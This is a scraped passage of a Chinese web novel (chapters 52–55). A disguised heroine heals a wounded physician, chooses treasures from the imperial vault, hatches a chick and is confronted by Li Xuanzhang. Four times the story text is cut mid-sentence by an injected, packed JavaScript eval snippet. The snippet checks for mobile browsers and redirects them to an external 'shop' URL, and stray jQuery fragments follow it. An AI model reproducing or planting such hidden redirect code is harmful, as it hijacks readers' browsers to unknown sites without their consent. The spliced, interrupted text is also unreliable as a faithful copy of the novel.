这位余姑娘,未免也太狂妄了。 李淳没有浪费时间去质疑她,他直接取下墙上挂着的一把剑,将剑抽-出来,一剑将先前说话的那个老太医给捅了个对穿。 众人都吓傻了。 李淳盯着姜念虞:“救活他,朕就信你,否则朕便治你一个欺君之罪!” 姜念虞:疯子! 深吸一口气,她快步走上前,往老太医嘴里塞了颗事先准备好的人参丸——用她在冷宫里种出来的人参搓出来的药丸,其药效强大,在吊命这一块无药能及。 以防万一,她多准备了一颗,没想到还真的派上了用场。 紧接着,姜念虞握住剑柄,快准狠地将剑抽了出来。 旋即迅速将手按在喷血的伤口处,输入异能。 片刻时间后,老太医的伤势止住了,不再流血了。 不过姜念虞只是治好了他的内伤,外伤没有彻底治愈,不然那就太吓人了。 所以老太医的胸口处依然留有一道狰狞的伤口。 姜念虞退开来,“皇上,民女已经将这位太医救活了。” 其余太医俱都震惊万分,纷纷上前给老太医把脉,观察他的情况,发现他真的脱离了生命危险,都看怪物一样地看着“余岁”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493078|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这位姑娘,当真是神啊! 方才他们瞧着她的救人手法,真是简单得不能再简单,甚至简单到有些粗暴,但是效果竟然匪夷所思的好。 难道这就是他们孜孜以求的“大道至简”? 赤心和自己的剑侍青翼对视一眼,俱都看到了对方眼里的难以置信。 赤心:妙手回春也不过如此吧? 青翼:要是谷主在这儿,怕是要当场收余姑娘为徒了。 不对,以谷主的性子,可能还要反过来拜余姑娘为师! 李淳心中连日以来的阴霾一朝散去,朗声大笑道:“哈哈好,好啊!余姑娘当真是神医!朕的春儿有救了!” 这一回,不用姜念虞再吩咐,李淳就主动带着其余人等退了出去。 不多时,姜念虞走了出来。 才坐下喝了一盏茶的李淳惊讶地看过去,“余神医,这就好了?怎么样?春儿他……” 姜念虞:“已经没有大碍了,将养些日子就能彻底痊愈。” 李淳霍然起身,快步进了内殿,就看见墨春身上那把该死的剑已经被拔掉了,他神色安然地躺在床上,气息平稳,原本惨白的脸色已经恢复了一丝红润。 在失而复得的狂喜冲击下,他不禁有些眩晕,扶着床柱缓缓坐下来,探了探墨春的脉搏,虽然还是有些弱,但比起之前可要强劲有力多了! 他的春儿,当真活过来了! 寝殿外的厅堂里,姜念虞坐在椅子上,旁边的高几上摆着糕点,她先喝了口茶,这才拿了块糕点细嚼慢咽地吃着。 李淳虽然讨厌,但他这里的糕点却是没得说。 可惜不能放开了吃,不然一不小心暴露了她那饿死鬼一般的吃相,很可能会被人看穿。 于是她只好转移注意力,看向坐在她对面的真正的神农谷弟子赤心。 她朝赤心招了招手。 赤心不明所以,但还是走了过去。 “坐,手伸出来。”姜念虞朝高几对面的椅子指了指。 赤心在椅子上坐下,伸出一只手,还将袖子往上撸了撸,露出一截手腕来。 姜念虞搭上了他的脉搏。 果不其然,触碰到他的那一刻,识海里的异能源种就亮了!这赤心,果然是她的又一个异能血包。 姜念虞收回手,示意他凑近一点,与他耳语道:“方才你为何没拆穿我?” 她这话无异于不打自招。 赤心:看来这位余岁姑娘当真是冒充的了,不然不会问出这样的问题来,但她的医术又确实高明,比之身为谷主的母亲都不遑多让,她为何要冒充呢? 他不答反问:“余姑娘与五师叔,也就是凤衔月师叔是何关系?” 姜念虞正要开口,李淳出来了,“余神医当真是妙手回春!春儿已经脱离危险了,这会儿正在安稳地睡觉呢。朕说话算话,你想要什么,尽管开口。” 姜念虞:“当真?那民女可就说了。” 李淳:“君无戏言,你只管道来。” 姜念虞:“听说皇宫内库囊括天下宝物,珍宝无数,民女想进去挑选三样宝物。” 李淳挑了下眉,对她这个要求有些意外,但丝毫不觉得为难,甚至觉得她颇为识趣。 内库里的东西纵然珍奇,但也不过是些死物罢了,对富有四海的他而言,不值一提。 “没问题,你只管进去选。” 姜念虞:“多谢皇上。” 李淳:“小承子,你亲自领着余神医去一趟内库。” 姜念虞朝赤心点了点头,跟着戴秉承离开。 53. 第53章 经过重重严密的封锁,姜念虞来到了宝库内部。 宝库内四面无窗,但丝毫不显得昏暗,因为墙壁上镶嵌着鹅蛋大小的夜明珠。 夜明珠仿佛一颗颗小型的月亮,散发出柔和明亮的光芒,将库内照得纤毫毕现。 数不清的宝物错落有致地待在一排排博古架上,等待着她去挑选。 姜念虞一阵兴奋,都不知该从哪一个入手才好了。 不过这一趟她主要是冲着李玄璋提过的那三样种子来的,先将那三样种子找到再说。 她闭上眼睛,释放出一丝丝异能,异能如无形的触须,向四面八方蔓延而去,当接触到有生命力的东西时,她就会有所感应。 她以为这宝库里唯一有生命力的就是那三样种子了,没想到除了种子外,她还感应到了一样有生命力的东西。 她找了过去。 宝库深处的一面博古架,最底下躺着一只巴掌大的白色石匣,那石匣有着玉一样的质感,却又沁着丝丝缕缕鲜红色的脉络,想来这就是龙骨盒了。 姜念虞将龙骨盒拿起来,打开来,里头被分成了三个格子,左边格子里放的正是西瓜种子,看起来很是新鲜,仿佛刚从嘴里吐出来的一样。 中间的格子里是一粒粒椭圆形的种子,像是枣核,但却是透明的,表面还分布着金丝。 想来是凤枣种子。 右边则是一颗颗珍珠般的种子,她拿起一颗,捏了捏,软软糯糯的,她不禁想到了奶茶里的珍珠圆子。 这应该是就是珍珠豆了。 除了西瓜,凤枣和珍珠豆她两辈子都没听说过,更遑论吃了。 这两样应该是这个小说世界里的独特物种了吧。 三样种子被装在一个盒子里,那应该只算一样东西。 于是姜念虞朝着另一样有生命力的东西走去。 这竟然是一颗蛋,一颗看起来像是宝石的蛋,和正常的鸡蛋差不多大小,被一个镶嵌着各色宝石的黄金底座托着。 任何人看到这颗蛋的第一眼,都会觉得这是一个由宝石雕刻而成的工艺品。 但在她的异能感知下,这颗蛋却蕴含着一丝生命力。 难道说,这是一颗真正的蛋? 姜念虞注意到黄金底座里还有一块小小的木牌,上面写着“朱雀蛋,西域火炎国所献”。 朱雀蛋……四神兽中的朱雀? 不可能吧,应该只是火炎国的人假借朱雀之名,搞了个噱头。 不过就算不是传说中的朱雀神兽的蛋,这颗蛋也足够特别。 姜念虞将其拿在手里,尝试着输入了一点异能。 下一秒,“咔嚓”一声,蛋竟然裂开了一条缝! 姜念虞立马将蛋放了回去,退到了博古架后面,并做好了战斗的准备。 谁知道这颗古怪的朱雀蛋里面会钻出来什么东西? 蛋下面的黄金底座上都落了灰,想也知道,这颗蛋被放在这里肯定有不短的时间了,但是它依然保持着活力。 里面的生物定然不简单。 在她的注视下,那红宝石般的蛋壳,裂开的缝隙更大了,她隐约能看见有一个小小的生物在里面拼命挣扎着,想要破壳而出。 但估计是力气不够,尝试了半天都以失败告终。 姜念虞看得捉急,又实在好奇这颗蛋里的生物是什么,索性上前,又给这颗蛋输入了一股异能。 在这股异能的加持下,里面的小东西终于一鼓作气,破壳而出—— 一颗湿漉漉毛绒绒的小脑袋钻了出来。 这是一只……小鸡? 姜念虞嘴角抽了抽,亏她还真的期待了一把里面会孵出来传说中的朱雀呢。 事实证明,她一开始的猜测没错。 这只小鸡眼睛都没睁开,竟然就会吃东西了,它把自己的壳给吃了。 那红宝石般的蛋壳,看起来很坚硬,但在它的啄食下,却显得很脆弱,很……美味。 看小鸡崽吃得那么欢,姜念虞都有点饿了。 于是从荷包里拿出肉干来嚼。 偌大的宝库内,空旷安静,一人一鸡崽各自吃着自己的食物,画面显得诡异又可爱。 等姜念虞嚼完两根肉干,小鸡崽也将它的蛋壳给干掉了,一丁点都不剩。 许是吃饱了,有力气了,它脑袋冲着姜念虞这边,睁开了眼睛。 姜念虞一惊,这只小鸡崽的眼睛乍一看是黑色,但细看又成了金色。 与它对视,她竟有种和太阳对视的心悸感。 “叽叽,叽叽……”小鸡崽冲着她发出了嫩叽叽的叫唤,估计是雏鸟效应,把她当妈了。 还扑腾着稚嫩的翅膀,朝她飞过来。 结果从黄金托盘上掉了下去。 姜念虞忙伸出手接住它。 “余神医,您出来啦?宝物可选好了?”见“余岁”出来,戴秉承忙迎了上去。 姜念虞点点头,将选好的三样东西递过去。 装着三样种子的龙骨盒,原先托着红宝石蛋的黄金宝石底座,以及一卷鱼龙皮。 这卷鱼龙皮是自己从架子上掉下来的,她正不知道第三样东西该选什么,既然这东西掉到了自己面前,那就选它吧。 鱼龙皮光滑柔软,呈银白色,拿在手里十分清凉,可以用它制作一件水靠(古代泳衣),下水游泳玩耍。 至于从红宝石蛋里破壳而出的小鸡崽,这会儿正安静地躺在她的挎包里,呼呼睡着。 戴秉承用托盘将这三样宝物接过来,让人做了登记,而后领着她回去复命。 李淳看了眼“余岁”选的三样宝物,不以为意,开口留人:“余神医,朕已命人为你准备好了住处,接下来你便在宫中住些时日吧,若有什么需要的,只管开口。” 姜念虞可不敢在宫里住下,不然还怎么回归德妃的身份? “皇上,宫里规矩太多,民女恐怕住不惯,您还是放民女出宫吧。” 李淳眸色微沉,心下有些不满,然想到她那一手出神入化的医术,到底没有多说什么。 “是朕考虑不周了。既如此,那朕就再赐你一座府邸,千两黄金,并神医令牌一块,以后你可凭借令牌随意进出皇宫,无需通禀。” 姜念虞:“谢皇上。” 李淳赏赐给“余岁”的府邸曾是一座亲王府,那位亲王卷入了谋反案中,被先帝抄了家,后来就一直空置着。 空置归空置,里头的奴仆却是配备齐全的,府邸一如既往的奢华精致,只是少了几分人气。 姜念虞的到来,让这座无主的庞大宅邸霎时活了过来,里头的草木花卉齐齐舒展了开来,变得比之原先精神了几分,似是在欢迎她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503183|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的到来。 一路往里走,戴秉承给她介绍着这座宅子的摆设布局,姜念虞别的没听进去,只记住了宅子里有一座苹果园。 苹果园啊,到了秋天,树上就能挂满红彤彤的果子,放眼望去,满园压弯枝头的香甜苹果等着她去采摘,想想就让人期待。 整座宅邸占地足足有半条街,大小院落几十处,屋子更是有几百间,姜念虞没兴趣一一逛过去,反正以后有的是机会。 她径直去了正院,借口说累了,想休息,便将戴秉承打发走了。 关上房门后,姜念虞赶紧将挎包里的小鸡崽拿了出来。 幸好,小家伙还活蹦乱跳的。 也不知道它吃什么,姜念虞从随身的挎包里拿出来一堆吃的,别人都以为她包里装的是行医道具——银针、脉枕之类的东西,其实全是吃的。 生的熟的、荤的素的、甜的咸的……不下十几种。 甚至还有一罐羊奶。 她将这些吃的都摆在桌上,在中间留下一个圆圈的空位,然后将小鸡崽放进去,“想吃什么,你自己选吧。” 小鸡崽歪着小脑袋打量了一圈那些吃食,小脚丫子直奔那罐羊奶而去。 姜念虞恍然大悟:“原来你也要喝奶啊。” 她将羊奶倒出来,也不用她喂,小鸡崽自己就凑过去,迫不及待地喝了起来。 喝完羊奶,它又盯上了一根黄瓜,扑腾着还没长毛的粉色小翅膀,落在了黄瓜上,两只小爪子霸道地扣着黄瓜,低头猛啄起来。 一啄一个洞,跟啄木鸟啄树上的虫子似的。 看它吃东西的这个活泼劲儿,姜念虞觉得甚是欣慰,好养活,不错。 她摸了摸小鸡崽的脑袋,“既然养了你,那就给你起个名字吧,叫你小红,怎么样?” 小鸡崽:“唧唧唧!” 姜念虞:“你也觉得这个名字很好听对不对?那就这么决定了,走,姐姐带你到外头耍去,你待会儿别乱跑啊,乖乖待在我身上,不然被坏人抓去了,你就要被做成一盘菜了。” 小红耷拉着脑袋,乖乖钻进她的包里。 姜念虞带着小红大摇大摆地出了府。 察觉有人跟在后头,她也不在意,想来是李淳派来的,怕她突然消失了。 不过,她还偏偏就要玩消失。 等到从一个酒楼里出来,姜念虞已经成了个江湖侠女,面貌焕然一新,就连身高也变了,跟踪她的那些人完全没认出她来,依旧盯着酒楼大门口,等着“余岁”从里面出来。 姜念虞带着小红,一路逛吃逛吃。 她吃啥小红都要探出脑袋来看一看,被孩子那双水汪汪金灿灿的大眼睛盯着,她哪里忍心不分给它一些呢? 小红也是来者不拒,显然和她这个主人一样,都是吃货。 一开始她还怕它吃坏了肚子,毕竟是刚出壳的幼崽,哪儿能吃得这么杂呢? 但后面见它一点事也没有,就渐渐放下心来。 小红吃饱就睡,像个粉嫩的小肉团子,趴在挎包里,小肚子一起一伏,姜念虞忍不住戳了戳它的肚子,怪好玩儿的。 一抬头,见到一个熟悉的身影从书肆里走出来,手里捧着两本书。 裴少清! 没想到就这么和他不期而遇了。 这不正是异能升级的好机会? 54. 第54章 姜念虞拿着一串烤肉快步走了过去,装作不经意的样子撞了他一下。 裴少清手里的书被碰掉了,姜念虞忙道:“郎君,对不住啊,我帮你捡起来。” 麻利地将书捡起来还回去。 “呀,郎君,我的烤肉不小心擦过你的衣裳,将你的衣裳弄脏了,这可怎么办呀?” 姜念虞一脸歉疚。 裴少清声音清润温和:“无妨,姑娘也是无心,不必自责,我回去换一件就好。” 姜念虞:“那怎么能行呢,我看郎君这件衣裳料子似是云锦制成,云锦精贵,沾了油渍就洗不掉了,郎君这件衣裳算是废了,你虽不介意,我却不能就这么混过去,不然于心难安。 “这样吧,前面有家成衣铺子,我赔郎君一件衣裳吧。” 说着就拉住他的胳膊,将他往那家成衣铺子带。 裴少清:“当真不用,姑娘——” 想要挣脱,却发现这姑娘的力气不是一般的大,他竟然挣脱不开,只能被她拉着往前走。 到了成衣铺子,姜念虞十分豪气道:“掌柜的,将你们这儿最贵最好的男子衣裳拿出来。” 掌柜的瞧见裴少清的脸,又看了眼两人拉着的手,心里不由得想歪了。 这男子容貌俊美,气度清贵,却要一个女子为他买衣裳,怕不是个小倌吧? 既然能养得起如此貌美的小倌,那这女子,想来是不差钱的。 当即态度热情地领着两人去了贵宾室,上了茶水点心。 不一时,数名婢女捧着衣裳进来,那些衣裳整整齐齐地叠放在托盘里,无一不精致华贵,都是用上好的料子制成。 掌柜的在旁边一一介绍,姜念虞吃着点心问:“郎君,你喜欢哪一件?” 裴少清看了看她抓着自己不放的那只手,无奈道:“姑娘,当真不用了,我——” 姜念虞打断了他,直接替他选了:“就这件月白色的,郎君,去换衣裳吧,还是说,你想让我帮你换?” 裴少清:“……” 这女子,怕不是个土匪? 哪有这样强买强送的?还,还说出这等羞耻之语。 “我,我自己去换。” 他拿着衣裳,匆匆进了换衣室。 出来后,裴少清朝她拱了拱手:“姑娘,衣裳我已经换上了,告辞。” 转身就要走。 姜念虞哪儿能让他这么走掉? 丢下一顶银子,追了上去,不由分说拉住他的胳膊,“郎君何必急着走呢?我叫余岁,是个大夫,医术很高明的,其实我一直抓着你不放,可不是要对你图谋不轨,而是看出来你身患重病却不自知,忍不住想为你诊治一番罢了。” 裴少清将信将疑:“是吗?那不知我患了什么病?” 姜念虞:“郎君近日可是时常觉得右下腹钝痛,还伴随有头痛、便秘的症状?” 裴少清没想到她这般直白,连“便秘”这等私事都大喇喇地说了出来,神色不禁有些赧然。 但想到她是个大夫,大夫眼中只有病人,而无男女之分,他若是表现得过于扭捏,倒显得他心思不纯了。 而且,她说的确实都是真的。 仅仅只是见了一面,她就能说得如此准确,想来她说自己医术高明并非自夸,而是真的。 对她方才说的话,已是信了七八分。 “不错。” 姜念虞:“大街上人来人往的不太方便,我们找个地方单独说吧。” 裴少清:“好。” 就这样,姜念虞将人拐到了船上,一艘可供租赁的游船,除了撑船的船夫外,船舱里就只有姜念虞和裴少清两人了。 看着船舱外映照着夕阳余晖的澹澹水波,裴少清有些慌神,他是怎么和余姑娘来到这里的呢? 这般孤男寡女共处一方小小的船舱,实在是有违礼数。 他很想逃,可四面都是水波,他又能逃往何处? 姜念虞:“裴郎君,你患的乃是肠痈之症,你饮食不规律,又仗着年轻,时常吃生冷之物,以至于脾胃受损,胃肠传化功能不利,气机壅塞(百度),肠道梗阻。” 这可不是她瞎掰的,而是小说里说的。 裴少清因为这病,不到三十就去了。 既然他这会儿就出现了症状,说明他已经得了这个病,不过应该是早期,可以治疗。 可惜他自己不重视,为了工作(翰林院编修),时常伏案长坐,看书到深夜,常常忘了吃饭。 即便身体已经出现了症状,他也只当是劳累所致,没想过去看大夫。 好在他遇上了她。 她需要跟他贴贴提升异能,那就顺便帮他把病治好吧,算是对他的回报。 裴少清见她说的头头是道,愈发信服了,“这病可能治?” 关乎到自己的身体,他也无法淡定了。 姜念虞:“自然能治,把这药吃了,我再来为你按摩,将药力推化开来。” 裴少清接过她递来的药瓶,打开瓶塞,便闻到了一股令人心旷神怡的药味,里头有十颗淡绿色的滚圆药丸。 原本他还有些迟疑,但那药味光是闻着,就令他头脑为之一清,原本有些倦怠的身体也跟着轻松了几分。 药好不好,身体知道。 他当即倒出一粒药丸,吃了下去。 姜念虞朝榻上一指,“躺下吧,我来为你按摩。” 裴少清:“有劳余大夫了。” 当她的手落在脑袋上时,他身体霎时紧绷起来,精神也跟着紧张,甚至有些后悔,想要起身。 但是随着按摩的进行,他不由自主地放松了下来,后面甚至不知不觉睡了过去。 某一时刻,他醒了过来,身体仿佛躺在云端,身下的软塌温柔地晃动着,有水浪拍打的声音传来。 裴少清看向船舱外,发现天色已经黑了,猛地坐起身来,余大夫呢? 桌上有一张纸条,写着:“裴郎君,你的病我已经治好了,我有事就先走了。日后你要记得按时吃饭,忌食生冷之物。” 裴少清从船舱里出来,发现船已经靠了岸,岸上有不少小贩和游人,湖上则飘荡着灯火通明的画舫,隐约有丝竹之声传来。 他好似一下子回到了人间,而先前与余大夫的相遇,仿佛是一场梦。 * 姜念虞说有事先走,其实是被李玄璋给逮走了。 给裴少清一番按摩后,她如愿将异能升到了四阶,心中颇为欢喜,给裴少清留了张纸条,她便打算上岸,大吃特吃,好好庆祝一番。 谁知才来到船头,还没上岸,一根绳索从天而降缠在了她腰间,而绳子另一头赫然握在李玄璋手里。 他一使劲儿,便将她拽到了他所在的画舫甲板上。 “蓁蓁,你怎么在这儿?”姜念虞站稳后,莫名有些心虚地问。 李玄璋并未回答她的话,语气冷中带酸:“姐姐今天过得好生逍遥快活呐,先是在宫里跟赤心窃窃私语,出宫后又与裴少清刻意偶遇,与他把臂同游,乘船游湖——” 他一边说一边朝她逼近,一双眼睛黑洞洞地盯着她,浑身仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518763|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛冒着黑气。 姜念虞有些被这样的他吓到了。 她理智上知道他是书里的大反派,但自认识以来,他在她面前从来都表现得很乖顺无害,以至于她下意识将他当成了弟弟看待。 这会儿的他,却让她有种小白兔突然撕下面具变成恶魔的既视感,让她心里发悚。 随着他的逼近,她忍不住往后退,结果后背撞在了栏杆上,退无可退。 李玄璋倒是没再逼近了,在她身前停了下来,低头一瞬不瞬看着她。 姜念虞冷静了下来,不满道:“你派人监视我?” 李玄璋神情一滞,开口时语气已经弱了下来:“我只是担心姐姐的安危。” 姜念虞冷哼一声:“你事先没告诉我就擅自派人盯着我,不是监视又是什么?好了,我不想听你狡辩,我累了,想回宫了,再不回去,被人发现就遭了。” 李玄璋幽幽道:“我让人易容成了姐姐的模样,扮成德妃待在未央宫,姐姐不必担心。” 言下之意,即便她今晚不回宫也没事。 她若是还坚持要回去,倒显得心虚了。 姜念虞阴阳怪气道:“咱们蓁蓁公主真是神通广大啊,宫内宫外都是你的耳目。” 李玄璋沉默了下来,走到栏杆边,看着夜色下涌动的湖面。 忽然冷不丁开口:“林鹤、韩观、裴少清……甚至包括我自己,你刻意接近我们的目的是什么?” 他这话犹如一道惊雷,在姜念虞心中炸起了滔天的波澜,原来他早就察觉到了。 是啊,他怎么可能察觉不到呢? 她的行为谈不上谨慎,而他,又是个敏锐多疑的性子,怕是早在她刻意接触他的第一天,他心里就种下了怀疑的种子,只是一直引而不发罢了。 她该做出什么反应? 断然否认,打个哈哈糊弄过去? 怕是不行,因为她的异能才升到四阶,以后还需要继续接触美男子来升级,这次否认了,下次再被他抓到,不是打自己的脸么? 编个借口合理化自己的行为?但一个谎言需要无数个谎言来圆,她对自己的撒谎能力不是很有自信。 一旦某个谎言被他戳破,那她们之间的信任就要彻底崩塌了,信任都没了,以后还怎么继续合作? 思来想去,姜念虞觉得唯有说出真相才是最明智最省心的做法。 “好吧,既然你问了,那我就实话实说了,我确实是有意接近你们的,为了从你们身上获取某样东西,只有获得了这样东西,我才能好好活下去。” 李玄璋:“什么东西?” 姜念虞:“我不能说,但是你放心,我从你身上获取这样东西,并不会对你造成任何损害。” 非但没有损害,她还会回馈他们好处呢。 她不说,李玄璋却已经猜了出来,她从他们身上获取的那样东西,想来便是阳气了。 因为她是女鬼,是占据了德妃身子死而复生的女鬼,需要吸收人的阳气才能继续活着,行走于世间。 这样一来,她先前的种种怪异举动,就都有了解释了。 至于为何要从男子,而且还是长相俊美的男子身上来获取阳气,大概是她的个人爱好吧。 他伸出手去,“以后姐姐就吸我的吧。” 阳气他多的是,她没必要费尽周折去吸别人的。 姜念虞:“?” 吸什么? 他就这么接受了她的说辞,还很乐意她继续吸他? 不过既然他这么说了,那她就姑且吸一吸吧。 55. 第55章 太后听说宫里来了位余神医,一出手就将濒死的墨春救了回来,当即派人去将余神医请来。 结果黄鹂回来禀报说余神医已经出了宫。 太后便出宫,亲自到余府去请余神医,想让她给顺王看看。 顺王是太后所出,曾经的二皇子,当年从马上摔下来,砸到了脑袋,伤到了脊椎,双腿残疾,成了个废人。 这么多年一直缩在顺王府里,几乎没出过门,京中的高门大户都快忘了还有这么一号人。 唯有太后一直惦记着自己的儿子,不肯放弃为他寻医问药。 到了余府,太后却又得知余神医出门了,什么时候回来下人也不知道。 她便坐在厅中等待,等啊等,一直等到了天黑,却还是没能等到余神医回来。 又从天黑等到了天亮,余神医依旧没回来。 得知余神医不告而别,李淳很是气愤,但听闻太后因此而空等了一天一夜,他又感到幸灾乐祸。 一时希望余岁永远也别回来了,这样太后的希望就彻底落空了,一时又盼着余岁回来,因为她若是不回来,那以后他这个皇帝有个三长两短怎么办?到时候他去哪里找她? 姜念虞可不知道太后和李淳因为她而生出的复杂心境,她跟李玄璋在画舫上浪了一夜,在天亮之前才回到宫里,将替身换了下来。 “姨母,这是什么呀?” 做早操时,姜念虞从屋里出来,肩膀上蹲着一只粉嫩的毛绒团子,晟儿见了好奇地问。 不过一天功夫,小红身上已经长出了一层粉红色的绒毛,毛茸茸,萌萌哒。 晟儿一眼就被吸引了。 姜念虞:“一只小鸟,我早上起来在菜园子里捡到的,可爱吧?” 晟儿重重点头,小心翼翼地从姨母手里接过小鸟,双手捧着,“姨母,它的娘亲呢?” 姜念虞哪里知道?她甚至不知道这只“粉色小鸡崽”是个什么生物。 “可能死了吧。” 晟儿顿时对小鸟充满了同情,“小鸟,我也没有娘亲,不过我还有姨母,以后我会好好照顾你哒。” 就这样,未央宫里多了一个新成员。 晟儿去上学了,姜念虞到菜园子里把西瓜种子种下了。 西瓜在大齐是稀罕物,没人知道它真正的生长周期是多久,所以她可以用异能做一下弊,将西瓜催生出来。 要不了多久,她就能吃到西瓜啦。 想想这日子就有盼头得很。 刚从菜园子里回来,姜念虞就见到玄猫在炕上蹲着等自己,它脖子上挂着空心铃铛。 李玄璋又给她送信了?不是才分开的吗? 她打开纸团,得知太后昨天出宫想请余神医去为顺王治疗。 结果她出府了,太后在余府空等了她一天一夜。 想想有点对不起太后她老人家,于是姜念虞打算披着“余岁”的马甲重出江湖。 ——原本她打算失踪一段时间,好让自己显得更神秘。 余神医出现了,顺王那边又出了岔子,人家根本就不露面,拒绝治疗。 大概是失望太多次,已经不敢再抱有希望了吧,免得又一次迎来失望。 姜念虞理解顺王的心理。 但是太后哪里忍心儿子一直当一个生活不能自理的残废,整日里闭门不出颓废下去呢? 现在她还活着,别人尚且还不敢如何欺辱他,一旦她将来走了,他就彻底没了依靠,李淳还不得让人把他活活折磨死? “泓儿,把门打开吧,你就再信娘一次,这次娘找来的大夫当真是神医!他连胸口中了一剑流了三天血的人都能救回来,肯定也能治好你的腿,泓儿……” 太后在顺王的房门外苦口婆心地劝着,然而房门始终紧闭,没有要打开的迹象。 太后也不敢让人破开房门,强行闯进去。 因为她知道,儿子自从不良于行后,最怕见到生人,一旦她带着余神医强行闯进去,他很可能会发疯。 太后目带希冀地看向“余神医”,希望她能有法子劝动里面的人开门。 姜念虞哪里有什么法子呢?要是按照她的法子,干脆闯进去,摁着顺王给他“治疗”一通。 但太后显然不敢这么做。 既然如此,那她也没辙了。 “太后娘娘,这段时间我都在京城,如果顺王改了主意的话,您随时派人去知会我一声,我还有事,就不多留了。” 太后还想挽留,姜念虞却不肯留下浪费时间了。 她确实还有事—— 给便宜爹姜相准备生日礼物。 姜赦的六十大寿马上就要到了,古人六十岁是要大办的,她这个女儿自然要准备一份大礼。 她已经想好准备什么礼物了—— 蛋糕和西瓜。 她前世吃过不少次蛋糕,但做是真不会做,只知道大致的流程,所以得赶在姜相寿宴之前,指导膳房的人将蛋糕做出来。 西瓜就简单了,时不时给瓜种浇点水喂点异能就行了。 当姜念虞在忙着给姜相准备生辰礼时,李淳也在为姜相的寿宴而做准备。 这日,他将裴少清和他的父亲,担任国子监祭酒的裴大人一块儿召了来。 殿内除了李淳之外,只有墨春一个侍候的下人。 数日过去,墨春的伤已经奇迹般地痊愈了,这又一次印证了余岁的医术之高明。 “朕心中一直有一个疑惑,今日叫你们父子二人过来,就是为了解除朕心中这个疑惑。墨春,取一碗清水来。” 墨春用托盘端着一碗清水上来,托盘里还放着一把匕首。 李淳下令:“裴祭酒,裴少清,你父子二人各滴一滴血到碗里。” 裴祭酒原本低着的头,蓦地抬起,“皇上,您是要——” 李淳:“不错。” 裴祭酒神色悲怆,原来皇上心中的疑惑,是这个!只是,皇上是如何得知当年之事的呢? 裴少清见父亲神情不对,心下有些不安,皇上是要让他们父子滴血认亲吧?难道——? 他将心中的猜测遏制了下去,拿起匕首,割破指尖,滴了几滴血到碗里。 随后,将匕首递给了父亲。 裴祭酒缓缓接过匕首,动作沉重,仿佛那匕首重若千斤。 见状,裴少清的心愈发沉了。 待父亲的血滴入碗中,他一瞬不瞬地盯着,希望两人的血能够融在一起。 然而他的希望终究是落空了,两人的血各自待在一边,泾渭分明,始终没有彼此靠近,他的心,霎时沉入了谷底。 “父亲,怎么会?难道我不是您亲生的吗?” 裴祭酒避开了他的视线,朝上首的皇帝拱手:“皇上,您心中的疑惑,可解开了?” 李淳从御阶上走下来,“先前朕听说了一个故事,说什么裴少清并非裴家血脉,而是裴夫人与一和尚珠胎暗结生下来的,朕还当这是小人胡编乱造出来的,如今见到你父子二人滴血认亲的结果,才知那故事竟然是真的。” 裴少清如遭雷击,踉跄着退了两步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533002|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴祭酒担忧地扶住他,“明光(裴少清的字),在为父心里,一直都把你当亲生的看待,往后也是如此,你莫要钻了牛角尖,自己跟自己过不去。” 裴少清:“我娘她……” 裴祭酒:“你娘并没有背叛为父,她怀有身孕一事,我是知道的,当年,你娘遭人陷害,这才有了你,她本想将孩子打掉,是我拦住了她。 “因为,因为为父乃是天阉,这一辈子都无法拥有自己的亲生骨肉,若你娘能够生下你,我就能有自己的孩子了,如此,为父是天阉这个秘密,也就不会暴露了。” 说出这个埋藏在心底多年的秘密,裴祭酒深感难堪,但同时又有种解脱之感。 李淳恍然,他还以为裴夫人与人珠胎暗结这事是瞒着裴祭酒的,裴祭酒并不知道裴少清不是自己的骨肉,谁想他不仅知道,而且还支持裴夫人生下别的男人的孩子。 因为他是天阉,他怕自己一直没有孩子,会惹人怀疑。 如此一来,他对接下来的计划更有把握了。 “裴少清,你退下吧,朕与裴祭酒有事商量。” 接下来的事,就不需要裴少清参与了。 裴少清失魂落魄地退了下去。 